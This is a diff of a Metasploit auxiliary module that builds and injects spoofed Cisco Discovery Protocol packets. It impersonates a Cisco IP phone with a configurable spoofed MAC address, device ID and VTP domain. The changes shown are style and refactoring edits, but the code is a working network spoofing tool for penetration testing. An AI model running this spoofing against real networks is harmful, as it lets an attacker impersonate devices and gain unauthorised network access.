@@ -7,47 +7,53 @@ class MetasploitModule < Msf::Auxiliary
7
7
include Msf ::Exploit ::Capture
8
8
9
9
def initialize
10
-
11
10
super (
12
- 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets' ,
11
+ 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets' ,
13
12
'Description' => %q{
14
13
This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
15
14
to the CDP packets broadcast from this module will need to be analyzed with an
16
15
external packet analysis tool, such as tcpdump or Wireshark in order to learn more
17
16
about the Cisco switch and router environment.
18
17
} ,
19
- 'Author' => 'Fatih Ozavci' , # viproy.com/fozavci
20
- 'License' => MSF_LICENSE ,
21
- 'References' => [
18
+ 'Author' => 'Fatih Ozavci' , # viproy.com/fozavci
19
+ 'License' => MSF_LICENSE ,
20
+ 'References' => [
22
21
[ 'URL' , 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]
23
22
] ,
24
- 'Actions' => [
23
+ 'Actions' => [
25
24
[ 'Spoof' , { 'Description' => 'Sends CDP packets' } ]
26
25
] ,
27
- 'DefaultAction' => 'Spoof'
26
+ 'DefaultAction' => 'Spoof' ,
27
+ 'Notes' => {
28
+ 'Stability' => [ OS_RESOURCE_LOSS ] ,
29
+ 'SideEffects' => [ IOC_IN_LOGS ] ,
30
+ 'Reliability' => [ ]
31
+ }
28
32
)
29
33
30
34
register_options (
31
35
[
32
- OptString . new ( 'SMAC' , [ false , " MAC Address for MAC Spoofing" ] ) ,
33
- OptString . new ( 'VTPDOMAIN' , [ false , " VTP Domain" ] ) ,
34
- OptString . new ( 'DEVICE_ID' , [ true , " Device ID (e.g. SIP00070EEA3156)" , " SEP00070EEA3156" ] ) ,
35
- OptString . new ( 'PORT' , [ true , "The CDP 'sent through interface' value" , " Port 1" ] ) ,
36
+ OptString . new ( 'SMAC' , [ false , ' MAC address for MAC spoofing' ] ) ,
37
+ OptString . new ( 'VTPDOMAIN' , [ false , ' VTP Domain' ] ) ,
38
+ OptString . new ( 'DEVICE_ID' , [ true , ' Device ID (e.g. SIP00070EEA3156)' , ' SEP00070EEA3156' ] ) ,
39
+ OptString . new ( 'PORT' , [ true , "The CDP 'sent through interface' value" , ' Port 1' ] ) ,
36
40
# XXX: this is not currently implemented
37
- #OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
38
- OptString . new ( 'PLATFORM' , [ true , " Platform of the device" , " Cisco IP Phone 7975" ] ) ,
39
- OptString . new ( 'SOFTWARE' , [ true , " Software of the device" , " SCCP75.9-3-1SR2-1S" ] ) ,
41
+ # OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
42
+ OptString . new ( 'PLATFORM' , [ true , ' Platform of the device' , ' Cisco IP Phone 7975' ] ) ,
43
+ OptString . new ( 'SOFTWARE' , [ true , ' Software of the device' , ' SCCP75.9-3-1SR2-1S' ] ) ,
40
44
OptBool . new ( 'FULL_DUPLEX' , [ true , 'True iff full-duplex, false otherwise' , true ] )
41
- ] )
45
+ ]
46
+ )
42
47
43
48
deregister_options ( 'FILTER' , 'PCAPFILE' , 'RHOST' , 'SNAPLEN' , 'TIMEOUT' )
44
49
end
45
50
46
51
def setup
47
52
check_pcaprub_loaded
48
53
unless smac
49
- fail ArgumentError , "Unable to get SMAC from #{ interface } -- Set INTERFACE or SMAC"
54
+ raise ArgumentError , "Unable to get SMAC from #{ interface } -- Set INTERFACE or SMAC"
50
55
end
56
+
51
57
open_pcap
52
58
close_pcap
53
59
end
@@ -61,19 +67,17 @@ def smac
61
67
end
62
68
63
69
def run
64
- begin
65
- open_pcap
66
-
67
- @run = true
68
- cdp_packet = build_cdp
69
- print_status ( "Sending CDP messages on #{ interface } " )
70
- while @run
71
- capture . inject ( cdp_packet )
72
- Rex . sleep ( 60 )
73
- end
74
- ensure
75
- close_pcap
70
+ open_pcap
71
+
72
+ @run = true
73
+ cdp_packet = build_cdp
74
+ print_status ( "Sending CDP messages on #{ interface } " )
75
+ while @run
76
+ capture . inject ( cdp_packet )
77
+ Rex . sleep ( 60 )
76
78
end
79
+ ensure
80
+ close_pcap
77
81
end
78
82
79
83
def build_cdp
@@ -106,7 +110,7 @@ def build_cdp
106
110
# VTP management domain
107
111
cdp << tlv ( 9 , datastore [ 'VTPDOMAIN' ] ) if datastore [ 'VTPDOMAIN' ]
108
112
# random 1000-7000 power consumption in mW
109
- cdp << tlv ( 0x10 , [ 1000 + rand ( 6000 ) ] . pack ( 'n' ) )
113
+ cdp << tlv ( 0x10 , [ rand ( 1000 .. 6999 ) ] . pack ( 'n' ) )
110
114
# duplex
111
115
cdp << tlv ( 0x0b , datastore [ 'FULL_DUPLEX' ] ? "\x01 " : "\x00 " )
112
116
# VLAn query. TODO: figure out this field, use tlv, make configurable
@@ -117,7 +121,7 @@ def build_cdp
117
121
118
122
# Build and return the final packet, which is 802.3 + LLC + CDP.
119
123
# 802.3
120
- PacketFu ::EthHeader . mac2str ( " 01:00:0C:CC:CC:CC" ) +
124
+ PacketFu ::EthHeader . mac2str ( ' 01:00:0C:CC:CC:CC' ) +
121
125
PacketFu ::EthHeader . mac2str ( smac ) +
122
126
[ cdp . length + 8 ] . pack ( 'n' ) +
123
127
# LLC
@@ -126,8 +130,8 @@ def build_cdp
126
130
cdp
127
131
end
128
132
129
- def tlv ( t , v )
130
- [ t , v . length + 4 ] . pack ( "nn" ) + v
133
+ def tlv ( type , value )
134
+ [ type , value . length + 4 ] . pack ( 'nn' ) + value
131
135
end
132
136
133
137
def compute_cdp_checksum ( cdp )
@@ -143,6 +147,6 @@ def compute_cdp_checksum(cdp)
143
147
checksum += cdp [ cdp . length - 1 ] . getbyte ( 0 ) << 8 if remaining == 1
144
148
checksum = ( checksum >> 16 ) + ( checksum & 0xffff )
145
149
checksum = ~( ( checksum >> 16 ) + checksum ) & 0xffff
146
- ( [ checksum ] . pack ( "S*" ) ) . unpack ( "n*" ) [ 0 ]
150
+ [ checksum ] . pack ( 'S*' ) . unpack ( 'n*' ) [ 0 ]
147
151
end
148
152
end
0 commit comments